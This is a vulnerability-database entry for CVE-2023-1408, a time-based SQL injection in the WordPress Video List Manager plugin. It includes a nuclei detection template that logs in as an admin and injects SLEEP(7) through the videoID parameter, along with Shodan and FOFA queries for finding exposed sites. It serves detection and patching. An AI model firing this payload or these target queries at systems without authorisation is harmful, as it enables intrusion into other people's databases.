HexBrain

Browse / CVEs / CVE-2023-1408

CVE-2023-1408· video list manager project / video list manager· CWE-89

Video List Manager <= 1.7 - SQL Injection

highseverity
7.2CVSS score
3.2%likelihood of exploitation, next 30 days
88%of all CVEs are less likely
Readycheck to confirm it

The plugin does not properly sanitise and escape a parameter before using it in a SQL statement, leading to a SQL injection exploitable by high privilege users such as admin.

Impact

Authenticated high-privilege attackers (admin) can exploit SQL injection through the videoID parameter to extract database contents, potentially stealing user credentials, video metadata, and compromising the WordPress database.

Fix

Update Video List Manager plugin to a version newer than 1.7 that uses parameterized queries or prepared statements for the videoID parameter in admin.php.

How to confirm it

Send: POST /wp-login.php ; @timeout: 15s
Positive when: duration_2>=7 and status_code_2 == 200 and contains_all(body_2, "Edit Video","Youtube</option>")

Run it with nuclei: nuclei -id CVE-2023-1408 -u <target>

The full check
id: CVE-2023-1408

info:
  name: Video List Manager <= 1.7 - SQL Injection
  author: r3Y3r53
  severity: high
  description: |
    The plugin does not properly sanitise and escape a parameter before using it in a SQL statement, leading to a SQL injection exploitable by high privilege users such as admin.
  impact: |
    Authenticated high-privilege attackers (admin) can exploit SQL injection through the videoID parameter to extract database contents, potentially stealing user credentials, video metadata, and compromising the WordPress database.
  remediation: |
    Update Video List Manager plugin to a version newer than 1.7 that uses parameterized queries or prepared statements for the videoID parameter in admin.php.
  reference:
    - https://wpscan.com/vulnerability/baf7ef4d-b2ba-48e0-9c17-74fa27e0c15b
    - https://wordpress.org/plugins/video-list-manager/
    - https://nvd.nist.gov/vuln/detail/CVE-2023-1408
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 7.2
    cve-id: CVE-2023-1408
    cwe-id: CWE-89
    epss-score: 0.03229
    epss-percentile: 0.88359
    cpe: cpe:2.3:a:video_list_manager_project:video_list_manager:*:*:*:*:*:wordpress:*:*
  metadata:
    verified: true
    max-request: 2
    vendor: video_list_manager_project
    product: video_list_manager
    framework: wordpress
    shodan-query: http.html:/wp-content/plugins/video-list-manager/
    fofa-query: body=/wp-content/plugins/video-list-manager/
    publicwww-query: /wp-content/plugins/video-list-manager/
  tags: time-based-sqli,cve,cve2023,wpscan,sqli,wordpress,wp-plugin,wp,authenticated,video_list_manager_project,vuln

http:
  - raw:
      - |
        POST /wp-login.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        log={{username}}&pwd={{password}}&wp-submit=Log+In
      - |
        @timeout: 15s
        GET /wp-admin/admin.php?page=tnt_video_edit_page&videoID=SLEEP(7) HTTP/1.1
        Host: {{Hostname}}

    redirects: true
    matchers:
      - type: dsl
        dsl:
          - 'duration_2>=7'
          - 'status_code_2 == 200'
          - 'contains_all(body_2, "Edit Video","Youtube</option>")'
        condition: and

References

Use this check only on systems you are authorised to test. Where the data comes from